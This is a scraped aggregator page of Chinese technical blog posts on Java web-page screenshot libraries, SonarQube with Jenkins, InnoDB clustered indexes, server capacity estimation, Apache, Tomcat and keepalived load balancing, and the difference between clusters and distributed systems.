Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 15845 articles
Browse latest View live

介绍几个java把网页报存为图片的框架

$
0
0

首先说一下。java在图像这一块非常弱。用java实现java截图倒不难,原理吗就是把当前屏幕存成一个图,然后获取鼠标拉去的想去位置然后把截取的图保存到panel里边,再生成图片即可:示例代码就不展示了,网上很多。下边说几个将网页保存为图片的框架:

①html2image

网上炒这个还不少呢。我说这个就是原声的java代码进行封装的一个jar包。效果非常差,代码就不贴了网上好多。

②cobra

如果你不知道这个的话,你应该听说过lobobrowser,纯java实现的浏览器,测试了下,除了启动慢的要死其他还可以。

这个代码截取还是不错的,不说了直接上代码:

package htmlToImage;

import java.awt.image.BufferedImage;
import java.awt.image.RenderedImage;
import java.io.File;

import javax.imageio.ImageIO;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.SwingUtilities;

import org.lobobrowser.html.gui.HtmlPanel;
import org.lobobrowser.html.test.SimpleHtmlRendererContext;
import org.lobobrowser.html.test.SimpleUserAgentContext;

public class CobraTest {
	public static void main(String[] args) throws Exception {
		JFrame window = new JFrame();
		HtmlPanel panel = new HtmlPanel();
		window.getContentPane().add(panel);
		window.setSize(600, 400);
		window.setVisible(true);
		new SimpleHtmlRendererContext(panel, new SimpleUserAgentContext())
				.navigate("http://jobs.zhaopin.com/377931819252715.htm?ssidkey=y&ss=201&ff=03");
		System.out.println("10");
		Thread.sleep(10000);
		BufferedImage image = new BufferedImage(panel.getWidth(),
				panel.getHeight(), BufferedImage.TYPE_INT_ARGB);

		// paint the editor onto the image
		SwingUtilities.paintComponent(image.createGraphics(), panel,
				new JPanel(), 0, 0, image.getWidth(), image.getHeight());
		// save the image to file
		ImageIO.write((RenderedImage) image, "png", new File("html.png"));
		System.out.println("www");
	}
}

但是这个框架应该有个限制,css3应该支持不了。

③cssbox

这个非常不错。如果网站不做故意限制的话,截图非常完美。。。

package htmlToImage;

import java.io.File;
import java.io.FileOutputStream;

import org.fit.cssbox.demo.ImageRenderer;

public class CssBox {
	public static void main(String[] args) throws Exception {
		ImageRenderer render = new ImageRenderer();
		System.out.println("kaishi");
		String url = "http://worldwide.espacenet.com/publicationDetails/originalDocument?CC=AU&NR=2014200109A1&KC=A1&FT=D&ND=3&date=20140821&DB=EPODOC&locale=en_EP";
		FileOutputStream out = new FileOutputStream(new File("D:"+File.separator+"html.png"));
		render.renderURL(url, out, ImageRenderer.TYPE_PNG);
		System.out.println("OK");
	}
}

④java原生代码

package htmlToImage;

import java.awt.image.BufferedImage;
import java.awt.image.RenderedImage;
import java.io.File;
import java.net.URL;

import javax.imageio.ImageIO;
import javax.swing.JEditorPane;
import javax.swing.JPanel;
import javax.swing.SwingUtilities;

/**
 * 原理就是在现在的awt或者swing上显示网页然后将内容保存为一个图片
 * 没办法控制延迟啊。
 * @author zlqiao
 *
 */
public class JavaCoreApi {
	public static void main(String[] args) throws Exception {
		//load the webpage into the editor
		//JEditorPane ed = new JEditorPane(new URL("http://www.google.com"));
		JEditorPane ed = new JEditorPane(new URL("http://www.baidu.com"));
		System.out.println("10");
		Thread.sleep(10000);
		ed.setSize(1000,1000);

		//create a new image
		BufferedImage image = new BufferedImage(ed.getWidth(), ed.getHeight(),
		                                        BufferedImage.TYPE_INT_ARGB);

		//paint the editor onto the image
		SwingUtilities.paintComponent(image.createGraphics(), 
		                              ed, 
		                              new JPanel(), 
		                              0, 0, image.getWidth(), image.getHeight());
		//save the image to file
		ImageIO.write((RenderedImage)image, "png", new File("html.png"));
			System.out.println("ok");
	}
}








作者:qzlzwhx 发表于2014-9-9 9:47:51 原文链接
阅读:0 评论:0 查看评论

SonarQube4.4+Jenkins进行代码检查实例之二

$
0
0

在 《 SonarQube4.4+Jenkins进行代码检查实例之一》 中介绍了不编译只检查的方式。

但是有些代码检查需要使用字节码,比如Findbugs的检查依赖于字节码,实例一中只提取源代码,就不能进行Findbugs的检查。

要进行Findbugs检查就需要编译。以下实例操作来演示如何搭建


1,首先当然是要下载最新的Findbugs     http://docs.codehaus.org/display/SONAR/FindBugs+Plugin   ,当前最新版是V3.0,  supports analysis of Java 8 bytecode but requires Java 1.7 to run (see Compatibility section)。  下载后将相应Jar包存放到 \sonarqube-4.4\extensions\plugins 下, 其中\sonarqube-4.4是SonarQube的安装目录,然后重启SonarQube

1b, 也可以在SonarQube的update center中下载,下载后按提示重启SonarQube即可。

2,以admin登录到Sonar,将缺省的Quality Profiles改为  Sonar way with Findbugs

3,在Jenkins中配置项目,笔者以Maven3为例,选择 maven2/3项目 

4,按Maven项目正常配置,在Goals and options留空,采用缺省

5,在Post Steps中加入 Windows Batch command, 命令为: SonarQube Runner V2.4安装位置\bin\sonar-runner.bat

6,配置项目,要告知SonarQube编译结果在哪里,并且加入更新到SVN下,如下:

# required metadata 
sonar.projectKey=Keqiang:CodeKatabySonarRunner
sonar.projectName=CodeKatabySonarRunner
sonar.projectVersion=2.0.0  
# path to source directories (required) 
sonar.sources=src/main/java
# path to project binaries (optional), for example directory of Java bytecode 
sonar.binaries=target/classes

7,在Jenkins中立即构建 此Job

8,访问  http://localhost:9000  来看看SonarQube的结果,可以看到根据Findbugs的规则新发现的issue

说明1: Sonar way with Findbugs 是SonarQube缺省的选择,一共497条规则。SonarQube提供了方便的界面来修改。

说明2:SonarQube就发现的Issue设立了总指标Technical Debt,以工作量来表达需要多少时间修复这些issue。


小结:以上配置是简单的。说白了,只需交待编译结果在哪里就可以了。

以上两个实例,希望读者能够了解搭建SonarQube是多么容易。

Jenkins并不是必须的,利用Sonar-Runner完全可以达到相同相关。加入Jenkins支持之后,就能根据Svn操作来自动启动。




作者:zhangmike 发表于2014-9-9 11:30:03 原文链接
阅读:0 评论:0 查看评论

SonarQube4.4+Jenkins进行代码检查实例之一

$
0
0
在最新的《 关于代码审查的几点建议》中再次提到了代码分析:

6、尽量使用静态代码分析工具以提高审查效率。

笔者之前也谈到过多次代码分析、代码检查,见:
最近在自己电脑上更新了SonarQube,来分享下具体做法。
本文先来介绍最简单的做法:利用Jenkins拉取代码不编译只扫描。
1,首先下载最新的SonarQube,参见 http://www.sonarqube.org/downloads/    当前最新版是4.4
下载后解压,先不着急启动。不知道为什么,SonarQube4.4没有包括SonarQube最新推荐的规则引擎。
2,在相同下载页,下载SonarQube Runner V2.4,解压。采用全部缺省配置,不必修改。
3,下载SonarQube最新推荐的Java分析引擎,参见http://docs.codehaus.org/display/SONAR/Java+Plugin 。 
    下载最新的 Java Plugin V2.4, 然后将其放到  \sonarqube-4.4\extensions\plugins 下, 其中\sonarqube-4.4是SonarQube的安装目录,然后移除相同目录下的 Surefire, JaCoCo, and Squid for Java plugins 以及 findbugs,即是只留下 Java Plugin V2.4,其它都移除。
4,为快速试用,利用SonarQube缺省数据库,到bin目录下选择合适环境目录来启动SonarQube。
5,利用Jenkins的windows batch command来启动sonar,所以对Jenkins版本没有特别要求,当然使用最新版Jenkins是最好的。笔者的Jenkins是V1.556。
6,在Jenkins中创建Job,选择“构建一个自由风格的软件项目”
7,在源码管理中加入源码的位置,笔者使用的是SVN,选择Subersion,输入Repository URL
8,在构建触发器中,笔者选择了Build periodically,输入H H * * *, 意味着每天在Jenkins空闲的时候执行一次
9,在构建部分,选择增加构建步骤,选择Execute Windows batch command, 在命令框中输入 
             SonarQube Runner V2.4安装位置\bin\sonar-runner.bat
10,配置项目,在要分析的源代码根目录(与Repository URL要对应一致)下新建名为 sonar-project.properties 的文件,至少包括如下:
# required metadata ,Keqiang:AgileJerryPomodoro是笔者项目的Key
sonar.projectKey=Keqiang:AgileJerryPomodoro
#AgileJerryPomodoro是笔者项目的名称
sonar.projectName=AgileJerryPomodoro
sonar.projectVersion=0.5.0
# path to source directories (required),从源代码根目录为基准
sonar.sources=src  
11,将sonar-project.properties 加入到SVN。
12,到Jenkins中立即构建 刚刚建立的Job
13,访问 http://localhost:9000  来看看SonarQube的结果
说明1:以上利用了SonarQube的缺省规则集:Sonar way,共115条规则,这是sonarqube多年来积累的精华规则。
SonarQube当前已经明确宣称:“ We highly recommend that you limit your  Quality Profiles to from the SonarQube engine 
because we believe they are faster, more accurate (fewer false positives and false negatives), and more usable
 (they have better descriptions, etc)." 
说明2: Squid, Surefire and Jacoco have been rolled into this Java plugin. from Java plugin V2.4
 
以上动作最多1小时就能完成,对于Java,就能得到业界最先进的代码检查结果。
通过结果再来学习干净代码,是事半功倍的做法。


作者:zhangmike 发表于2014-9-9 8:52:39 原文链接
阅读:99 评论:0 查看评论

详解聚簇索引

$
0
0

一、聚族索引的构造

    聚簇索引并不是一种单独的索引类型,而是一种数据存储方式。具体的细节依赖于其实现方式,但InnoDB的聚族索引实际上在同一个结构中保存了B-Tree索引和数据行。当表有聚族索引时,它的数据行存放在索引的叶子页中。术语“聚族”表示数据行和相邻的键值紧凑的存储在一起。因为无法同时把数据行放在两个不同的地方,所以一个表只能有一个聚族索引。

    因为是存储引擎负责实现索引,因此不是所有的存储引擎都支持聚族索引。这里我们主要关注InnoDB,但是这里讨论的原理对于任何支持聚族索引的存储引擎都是适用的。

    下面展示了聚族索引中的记录是如何存放的。注意到,叶子页包含了行的全部数据,但是节点页只包含了索引列。


    在InnoDB中通过主键聚集数据,这也就是说上图中“被索引的列”就是主键列。如果没有定义主键,InnoDB会选择一个唯一的非空索引代替。如果没有这样的索引,InnoDB会隐式定义一个主键来作为聚族索引。InnoDB只聚集在同一个页面中的记录。包含相邻键的页面可能会相距甚远。

    聚族主键可能对性能有帮助,但也可能导致严重的性能问题。所以需要仔细的考虑聚族索引,尤其是将表的引擎从InnoDB改成其他引擎的时候。

二、聚族索引的优点

  • 可以把相关数据保存在一起。例如实现电子邮件时,可以根据用户ID来聚集数据,这样只需要从磁盘读取少数的数据页就能获取某个用户的全部邮件。如果没有使用聚族索引,则每封邮件都可能导致一次磁盘I/O;
  • 数据访问更快。聚族索引将索引和数据保存在同一个B-Tree中,因此从聚族索引中获取数据通常比在非聚族索引中查找更快。
  • 使用覆盖索引扫描的查询可以直接使用节点中的主键值。

三、聚族索引的缺点

  • 聚簇数据最大限度的提高了I/O密集型应用的性能,但如果数据全部都放在内存中,则访问的顺序就没有那么重要了,聚簇索引也就没有那么优势了;
  • 插入速度严重依赖于插入顺序。按照主键的顺序插入是加载数据到InnoDB表中速度最快的方式。但如果不是按照主键顺序加载数据,那么在加载完成后最好使用OPTIMIZE TABLE命令重新组织一下表。
  • 更新聚簇索引列的代价很高,因为会强制InnoDB将每个被更新的行移动到新的位置。
  • 基于聚簇索引的表在插入新行,或者主键被更新导致需要移动行的时候,可能面临“页分裂”的问题。当行的主键值要求必须将这一行插入到某个已满的页中时,存储引擎会将该页分裂成两个页面来容纳该行,这就是一次分裂操作。页分裂会导致表占用更多的磁盘空间。
  • 聚簇索引可能导致全表扫描变慢,尤其是行比较稀疏,或者由于页分裂导致数据存储不连续的时候。
  • 二级索引(非聚簇索引)可能比想象的要更大,因为在二级索引的叶子节点包含了引用行的主键列。
  • 二级索引访问需要两次索引查找,而不是一次。

    备注:有关二级索引需要两次索引查找的问题?答案在于二级索引中保存的“行指针”的实质。要记住,二级索引叶子节点保存的不是指向行的物理位置的指针,而是行的主键值。这意味着通过二级索引查找行,存储引擎需要找到二级索引的叶子节点获得对应的主键值,然后根据这个值去聚簇索引中查找到对应的行。这里做了重复的工作:两次B-Tree查找而不是一次。对于InnoDB,自适应哈希索引能够减少这样的重复工作。

四、InnoDB和MyISAM的数据分布对比

    聚簇索引和非聚簇索引的数据分布有区别,以及对应的主键索引和二级索引的数据分布也有区别。

1、MyISAM的主键索引和二级索引

    MyISAM的数据分布非常简单,MyISAM按照数据插入的顺序存储在磁盘上。在行的旁边显示了行号,从0开始递增。因为行是定长的,所以MyISAM可以从表的开头跳过所需的字节找到需要的行。这种分布方式很容易创建索引。并且,MyISAM中主键索引和其他索引在结构上没有什么不同。主键索引就是一个名为primary的唯一非空索引。如下图:

1、MyISAM数据行分布


2、MyISAM的主键分布


3、MyISAM上的其他索引分布

2、InnoDB的主键索引和二级索引

    InnoDB的数据分布,因为InnoDB支持聚簇索引,索引使用非常不同的方式存储这样的数据,如下图:


    仔细查看,会注意到该图显示了整个表,而不是只有索引。因为在InnoDB中,聚簇索引“就是”表,所以不像MyISAM那样需要独立的行存储。聚簇索引的每个叶子节点都包含了主键值、事务ID、用于事务和MVCC的回滚指针以及所有的剩余列。如果主键是一个列前缀索引,InnoDB也会包含完整的主键列和剩下的其他列。

    还有一点和MyISAM的不同是,InnoDB的二级索引和聚簇索引很不相同。InnoDB二级索引的叶子节点中存储的不是“行指针”,而是主键值,并以此作为指向行的“指针”。这样的策略减少了当出现航移动或者数据页分裂时二级索引的维护工作。使用主键值当作指针会让二级索引占用更多的空间,换来的好处是,InnoDB在移动行时无需更新二级索引中的这个“指针”。下图就是InnoDB的二级索引:


3、MyISAM和InnoDB的对比


五、在InnoDB表中按主键顺序插入行

    如果正在使用InnoDB表并且没有什么数据需要聚集,那么可以定义一个代理键作为主键,这种主键的数据应该和应用无关,最简单的方法是使用auto_increment自增列。这样可以保证数据行是按照顺序写入,对于根据主键做关联操作的性能也会更好。

    最好避免随机的聚簇索引,特别对于I/O密集型的应用。例如,从性能的角度考虑,使用UUID作为聚簇索引会很糟糕:它使得聚簇索引的插入变得完全随机,这是最坏的情况,使得数据没有任何聚集特性。通过测试,向UUID主键插入行不仅花费的时间更长,而且索引占用的空间也更大。这一方面是由于主键字段更长,另一方面毫无疑问是由于页分裂和碎片导致的。

    这是由于当主键的值是顺序的,则InnoDB把每一条记录都存储在上一条记录的后面。当达到页的最大填充因子时(InnoDB默认的最大填充因子是页大小的15/16,留出的部分空间用于以后修改),下一条记录就会写入新的页中。一旦数据按照这样顺序的方式加载,主键页就会近似于被顺序的记录填满,这也是所期望的结果。

    而当采用UUID的聚簇索引的表插入数据,因为新行的主键值不一定比之前的插入值大,所以InnoDB无法简单的总是把新行插入到索引的最后,而是需要为新的行寻找合适的位置----通常是已有数据的中间位置----并且分配空间。这会增加很多额外的工作,并导致数据分布不够优化。下面是总结的一些缺点:

  • 写入目标页可能已经刷到磁盘上并从缓存中移除,或者是还没有被加载到缓存中,InnoDB在插入之前不得不先找到并从磁盘读取目标页到内存中,这将导致大量的随机I/O;
  • 因为写入是乱序的,InnoDB不得不频繁的做页分裂操作,以便为新的行分配空间。页分裂会导致移动大量数据,一次插入最少需要修改三个页而不是一个页。
  • 由于频繁的页分裂,页会变得稀疏并被不规则的填充,所以最终数据会有碎片。
  • 把这些随机值载入到聚簇索引以后,需要做一次optimize table来重建表并优化页的填充。

注意:顺序主键也有缺点:对于高并发工作负载,在InnoDB中按主键顺序插入可能会造成明显的争用。主键的上界会成为“热点”。因为所有的插入都发生在这里,所以并发插入可能导致间隙锁竞争。另一个热点可能是auto_increment锁机制;如果遇到这个问题,则可能需要考虑重新设计表或者应用,或者更改innodb_autonc_lock_mode配置。



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



你想建设一个能承受500万PV/每天的网站吗?如果计算呢?

$
0
0
博客:http://elf8848.iteye.com

你想建设一个能承受500万PV/每天的网站吗? 500万PV是什么概念?服务器每秒要处理多少个请求才能应对?如果计算呢?

PV是什么:
PV是page view的简写。PV是指页面的访问次数,每打开或刷新一次页面,就算做一个pv。

计算模型:
每台服务器每秒处理请求的数量=((80%*总PV量)/(24小时*60分*60秒*40%)) / 服务器数量 。
其中关键的参数是80%、40%。表示一天中有80%的请求发生在一天的40%的时间内。24小时的40%是9.6小时,有80%的请求发生一天的9.6个小时当中(很适合互联网的应用,白天请求多,晚上请求少)。

简单计算的结果:
((80%*500万)/(24小时*60分*60秒*40%))/1 = 115.7个请求/秒
((80%*100万)/(24小时*60分*60秒*40%))/1 = 23.1个请求/秒

初步结论:
现在我们在做压力测试时,就有了标准,如果你的服务器一秒能处理115.7个请求,就可以承受500万PV/每天。如果你的服务器一秒能处理23.1个请求,就可以承受100万PV/每天。

留足余量:
以上请求数量是均匀的分布在白天的9.6个小时中,但实际情况并不会这么均匀的分布,会有高峰有低谷。为了应对高峰时段,应该留一些余地,最少也要x2倍,x3倍也不为过。
115.7个请求/秒 *2倍=231.4个请求/秒
115.7个请求/秒 *3倍=347.1个请求/秒
23.1个请求/秒 *2倍=46.2个请求/秒
23.1个请求/秒 *3倍=69.3个请求/秒

最终结论:
如果你的服务器一秒能处理231.4--347.1个请求/秒,就可以应对平均500万PV/每天。
如果你的服务器一秒能处理46.2--69.3个请求,就可以应对平均100万PV/每天。

说明:
这里说明每秒N个请求,就是QPS。因为我关心的是应用程序处理业务的能力。

实际经验:
1、根据实际经验,采用两台常规配置的机架式服务器,配置是很常见的配置,例如一个4核CPU+4G内存+服务器SAS硬盘。
2、个人武断的认为在服务器CPU领域Intel的CPU要优于AMD的CPU,有反对的就反对吧,我都说我武断了(请看CPU性能比较),不要太相信AMD的广告,比较CPU性能简单办法就是比价格,不要比频率与核心数,价格相差不多的性能也相差不多。
3、硬盘的性能很重要,由其是数据库服务器。一般的服务器都配1.5万转的SAS硬盘,高级一点的可以配SSD固态硬盘,性能会更好。最最最最重要的指标是“随机读写性能”而不是“顺序读写性能”。(本例还是配置最常见的1.5万转的SAS硬盘吧)
4、一台服务器跑Tomcat运行j2ee程序,一台服务器跑MySql数据库,程序写的中等水平(这个真的不好量化),是论坛类型的应用(总有回帖,不太容易做缓存,也无法静态化)。
5、以上软硬件情况下,是可以承受100万PV/每天的。(已留有余量应对突然的访问高峰)

注意机房的网络带宽:
有人说以上条件我都满足了,但实际性能还是达不到目标。这时请注意你对外的网络的带宽,在国内服务器便宜但带宽很贵,很可能你在机房是与大家共享一条100M的光纤,实际每个人可分到2M左右带宽。再好一点5M,再好一点双线机房10M独享,这已经很贵了(北京价格)。
一天总流量:每个页面20k字节*100万个页面/1024=19531M字节=19G字节,
19531M/9.6小时=2034M/小时=578K字节/s   如果请求是均匀分布的,需要5M(640K字节)带宽(5Mb=640KB 注意大小写,b是位,B是字节,差了8倍),但所有请求不可能是均匀分布的,当有高峰时5M带宽一定不够,X2倍就是10M带宽。10M带宽基本可以满足要求。
以上是假设每个页面20k字节,基本不包含图片,要是包含图片就更大了,10M带宽也不能满足要求了。你自已计算吧。
(全文完)



附:性能测试基本概念
---------------------------------------------------------------------------------------
基本概念:
Throughput(吞吐量):按照常规理解网络吞吐量表示在单位时间内通过网卡数据量之和,其中即包括本机网卡发送出去的数据量也包括本机网卡接收到的数据量。 一个100Mb(位)的双工网卡,最大发送数据的速度是12.5M字节/s , 最大接收数据的速度是12.5M字节/s, 可以 同时 收发 数据。
并发用户数:是同时执行操作的用户(线程数)。
响应时间:从请求发出到收到响应花费的时间 。

QPS - Queries Per Second  每秒处理的查询数(如果是数据库,就相当于读取)
TPS - Transactions Per Second  每秒处理的事务数(如果是数据库,就相当于写入、修改)
IOPS,每秒磁盘进行的I/O操作次数

例如对某个数据库测试,分开两次测QPS与TPS。
QPS(读取)值总是高于TPS(写、改),并且有倍率关系,因为:
1、数据库对查询可能有缓存。
2、机械硬盘或SSD硬盘的读就是比写快。
---------------------------------------------------------------------------------------
JMeter测试参数说明:

Label:每一个测试单元的名字。

#Samples:表示一个测试单元一共发出了多少个请求。

Average:平均响应时间——默认情况下是单个 Request 的平均响应时间,当使用了 Transaction Controller 时,也可以以Transaction 为单位显示平均响应时间。,不重要。

Median:中位数,也就是 50% 用户的响应时间,如果把响应时间从小到大顺序排序,那么50%的请求的响应时间在这个范围之内。重要。

90% Line:90% 用户的响应时间,如果把响应时间从小到大顺序排序,那么90%的请求的响应时间在这个范围之内。重要 。

Min:最小响应时间,不重要。

Max:最大响应时间,出现几率只不过是千分之一甚至万分之一,不重要。

Error%:本次测试中出现错误的请求的数量

Throughput:吞吐量——默认情况下表示每秒完成的请求数(Request per Second),当使用了 Transaction Controller 时,也可以表示类似 LoadRunner 的 Transaction per Second 数

KB/Sec:每秒从服务器端接收 到的数据量(只是接收),相当于LoadRunner中的Throughput/Sec
---------------------------------------------------------------------------------------
loadrunner测试参数说明:

响应时间: 取90%值,如果把响应时间从小到大顺序排序,那么90%的请求的响应时间在这个范围之内。重要。

每秒点击数 :hits per Second,每秒钟向服务器提交请求的数量。

TPS: Transaction per Second ,每秒事务数,一个事务是指一个客户机向服务器发送请求然后服务器做出反应的过程

Throughput(吞吐量): Loadrunner记录的Throughput是接收到服务器返回的所有字节数之和,与本地发出的字节数无关。

Throughput/Sec: 每秒的吞吐量。

对于BS架构的一般分析 响应时间、点击率、吞吐量、TPS(每秒事务数)。
对于CS架构的一般分析 TPS(每秒事务数)

---------------------------------------------------------------------------------------
Apache ab测试参数说明:

RPS: Request per Second,每秒处理的请求数
详见:
http://blog.chinaunix.net/u3/108043/showart_2260477.html

已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Apache+Tomcat+keepalived的负载均衡session复制及HA

$
0
0

1 Apache负载均衡

0、关闭防火墙(service iptables stop; chkconfig --level 35 iptables off),

   关闭selinux vi /etc/selinux/config   SELINUX=disabled

setenforce 0 生效

 

1、将mod_jk-1.2.31-httpd-2.2.x.so上传至/etc/httpd/modules目录下

 

 

2、

vi /etc/httpd/conf/httpd.conf

在Include conf.d/*.conf下

增加

Include /etc/httpd/conf/mod_jk.conf

 

配置

ServerName=192.168.1.X:80

 

3、

vi /etc/httpd/conf/mod_jk.conf

增加

 

LoadModule jk_module /etc/httpd/modules/mod_jk.so

 

JkWorkersFile /etc/httpd/conf/workers.properties

 

JkLogFile /etc/httpd/logs/mod_jk.log

 

JkLogLevel warn

 

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

 

JkMount /*.* controller 

 

4、

vi /etc/httpd/conf/workers.properties

增加

 

 

worker.list=controller

 

worker.tomcat1.port=8009

worker.tomcat1.host=192.168.1.152

worker.tomcat1.type=ajp13

worker.tomcat1.lbfactor=1 



worker.tomcat2.port=8009 

worker.tomcat2.host=192.168.1.155

worker.tomcat2.type=ajp13

worker.tomcat2.lbfactor=1 

 

worker.tomcat3.port=8009 

worker.tomcat3.host=192.168.1.156

worker.tomcat3.type=ajp13

worker.tomcat3.lbfactor=1 

 

worker.controller.type=lb 

worker.retries=3

worker.controller.balance_workers=tomcat1,tomcat2,tomcat3

 

worker.controller.sticky_session=false

2 Tomcat session复制

1、对于每一个server.xml

  <Engine name="Catalina" defaultHost="localhost" jvmRoute="tomcat2">

 

2、在Engine标签内增加

<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"/>

 

3、在程序的web.xml的web-app结束前增加 <distributable/>

3 HA(高可用性)keepalived配置

1、apache安装在105和106上

 

2、两台apache配置保持一致,除了httpd.conf的SERVERNAME配置的ip地址

 

3、两台机器分别安装keepalived

yum -y install keepalived

 

4、配置keepalived(105)

vi /etc/keepalived/keepalived.conf

========================================================

! Configuration File for keepalived

 

global_defs {

   notification_email {

     acassen@firewall.loc

     failover@firewall.loc

     sysadmin@firewall.loc

   }

   notification_email_from admin@wisely.com

   smtp_server 192.168.1.0

   smtp_connect_timeout 30

   router_id LVS_DEVEL

}

 

vrrp_script chk_httpd {

    script "killall -0 httpd"

    interval 1

    weight -2

}

 

vrrp_instance httpd_1 {

    state MASTER

    interface eth0

    virtual_router_id 58

    priority 100           #priority 

    advert_int 1

    authentication {

        auth_type PASS

        auth_pass 1058

    }

    virtual_ipaddress {

    192.168.1.101           #vip

    }

    track_script {

    chk_httpd

    }

}

=========================================================

service keepalived start  #启动keepalived服务

chkconfig keepalived on

 

5、配置keepalived(106)

vi /etc/keepalived/keepalived.conf

=========================================================

! Configuration File for keepalived

 

global_defs {

   notification_email {

     acassen@firewall.loc

     failover@firewall.loc

     sysadmin@firewall.loc

   }

   notification_email_from admin@wisely.com

   smtp_server 192.168.1.0

   smtp_connect_timeout 30

   router_id LVS_DEVEL

}

 

vrrp_script chk_httpd {

    script "killall -0 httpd"

    interval 1

    weight -2

}

 

vrrp_instance httpd_1 {

    state BACKUP

    interface eth0

    virtual_router_id 58

    priority 99            #priority 

    advert_int 1

    authentication {

        auth_type PASS

        auth_pass 1058

    }

    virtual_ipaddress {

    192.168.1.101           #vip

    }

    track_script {

    chk_httpd

    }

}

========================================================

 

访问http://192.168.1.101

<!--EndFragment-->


已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



分布式与集群的区别

$
0
0

  简单说,分布式是以缩短单个任务的执行时间来提升效率的,而集群则是通过提高单位时间内执行的任务数来提升效率。

  例如:

  如果一个任务由10个子任务组成,每个子任务单独执行需1小时,则在一台服务器上执行改任务需10小时。

  采用分布式方案,提供10台服务器,每台服务器只负责处理一个子任务,不考虑子任务间的依赖关系,执行完这个任务只需一个小时。(这种工作模式的一个典型代表就是Hadoop的Map/Reduce分布式计算模型)

  而采用集群方案,同样提供10台服务器,每台服务器都能独立处理这个任务。假设有10个任务同时到达,10个服务器将同时工作,10小后,10个任务同时完成,这样,整身来看,还是1小时内完成一个任务! 

  以下是摘抄自网络文章:

  一、 集群概念

   1. 两大关键特性

  集群是一组协同工作的服务实体,用以提供比单一服务实体更具扩展性与可用性的服务平台。在客户端看来,一个集群就象是一个服务实体,但事实上集群由一组服务实体组成。与单一服务实体相比较,集群提供了以下两个关键特性:

  ·  可扩展性--集群的性能不限于单一的服务实体,新的服务实体可以动态地加入到集群,从而增强集群的性能。

  ·  高可用性--集群通过服务实体冗余使客户端免于轻易遇到out of service的警告。在集群中,同样的服务可以由多个服务实体提供。如果一个服务实体失败了,另一个服务实体会接管失败的服务实体。集群提供的从一个出 错的服务实体恢复到另一个服务实体的功能增强了应用的可用性。

   2. 两大能力 

  为了具有可扩展性和高可用性特点,集群的必须具备以下两大能力:

  ·  负载均衡--负载均衡能把任务比较均衡地分布到集群环境下的计算和网络资源。

  ·  错误恢复--由于某种原因,执行某个任务的资源出现故障,另一服务实体中执行同一任务的资源接着完成任务。这种由于一个实体中的资源不能工作,另一个实体中的资源透明的继续完成任务的过程叫错误恢复。

  负载均衡和错误恢复都要求各服务实体中有执行同一任务的资源存在,而且对于同一任务的各个资源来说,执行任务所需的信息视图(信息上下文)必须是一样的。

   3. 两大技术

  实现集群务必要有以下两大技术:

  ·  集群地址--集群由多个服务实体组成,集群客户端通过访问集群的集群地址获取集群内部各服务实体的功能。具有单一集群地址(也叫单一影像)是集群的一个基本特征。维护集群地址的设置被称为负载均衡器。负载均衡器内部负责管理各个服务实体的加入和退出,外部负责集群地址向内部服务实体地址的转换。有的负载均衡器实现真正的负载均衡算法,有的只支持任务的转换。只实现任务转换的负载均衡器适用于支持ACTIVE-STANDBY的集群环境,在那里,集群中只有一个服务实体工作,当正在工作的服务实体发生故障时,负载均衡器把后来的任务转向另外一个服务实体。

  ·  内部通信--为了能协同工作、实现负载均衡和错误恢复,集群各实体间必须时常通信,比如负载均衡器对服务实体心跳测试信息、服务实体间任务执行上下文信息的通信。

  具有同一个集群地址使得客户端能访问集群提供的计算服务,一个集群地址下隐藏了各个服务实体的内部地址,使得客户要求的计算服务能在各个服务实体之间分布。内部通信是集群能正常运转的基础,它使得集群具有均衡负载和错误恢复的能力。

  二、 集群分类

  Linux集群主要分成三大类(高可用集群, 负载均衡集群,科学计算集群)

  • 高可用集群(High Availability Cluster)
  • 负载均衡集群(Load Balance Cluster)
  • 科学计算集群(High Performance Computing Cluster)

  具体包括:

  Linux High Availability 高可用集群                                       
  (普通两节点双机热备,多节点HA集群,RAC, shared, share-nothing集群等)

  Linux Load Balance 负载均衡集群                                      
   (LVS等....)

  Linux High Performance Computing 高性能科学计算集群     
   (Beowulf 类集群....)

  三、 详细介绍

  1. 高可用集群(High Availability Cluster)

  常见的就是2个节点做成的HA集群,有很多通俗的不科学的名称,比如"双机热备","双机互备","双机"。

  高可用集群解决的是保障用户的应用程序持续对外提供服务的能力。 (请注意高可用集群既不是用来保护业务数据的,保护的是用户的业务程序对外不间断提供服务,把因软件/硬件/人为造成的故障对业务的影响降低到最小程度)。

  2. 负载均衡集群(Load Balance Cluster)

  负载均衡系统:集群中所有的节点都处于活动状态,它们分摊系统的工作负载。一般Web服务器集群、数据库集群和应用服务器集群都属于这种类型。

  负载均衡集群一般用于相应网络请求的网页服务器,数据库服务器。这种集群可以在接到请求时,检查接受请求较少,不繁忙的服务器,并把请求转到这些服务器上。从检查其他服务器状态这一点上看,负载均衡和容错集群很接近,不同之处是数量上更多。

  3. 科学计算集群(High Performance Computing Cluster)

  高性能计算(High Perfermance Computing)集群,简称HPC集群。这类集群致力于提供单个计算机所不能提供的强大的计算能力。

  3.1 高性能计算分类   

  3.1.1 高吞吐计算(High-throughput Computing)

  有一类高性能计算,可以把它分成若干可以并行的子任务,而且各个子任务彼此间没有什么关联。象在家搜寻外星人(  SETI@HOME -- Search for Extraterrestrial Intelligence at Home )就是这一类型应用。这一项目是利用Internet上的闲置的计算资源来搜寻外星人。SETI项目的服务器将一组数据和数据模式发给Internet上参加SETI的计算节点,计算节点在给定的数据上用给定的模式进行搜索,然后将搜索的结果发给服务器。服务器负责将从各个计算节点返回的数据汇集成完整的 数据。因为这种类型应用的一个共同特征是在海量数据上搜索某些模式,所以把这类计算称为高吞吐计算。所谓的Internet计算都属于这一类。按照 Flynn的分类,高吞吐计算属于SIMD(Single Instruction/Multiple Data)的范畴。

  3.1.2 分布计算(Distributed Computing)

  另一类计算刚好和高吞吐计算相反,它们虽然可以给分成若干并行的子任务,但是子任务间联系很紧密,需要大量的数据交换。按照Flynn的分类,分布式的高性能计算属于MIMD(Multiple Instruction/Multiple Data)的范畴。

   四、分布式(集群)与集群的联系与区别

  分布式是指将不同的业务分布在不同的地方;而集群指的是将几台服务器集中在一起,实现同一业务。

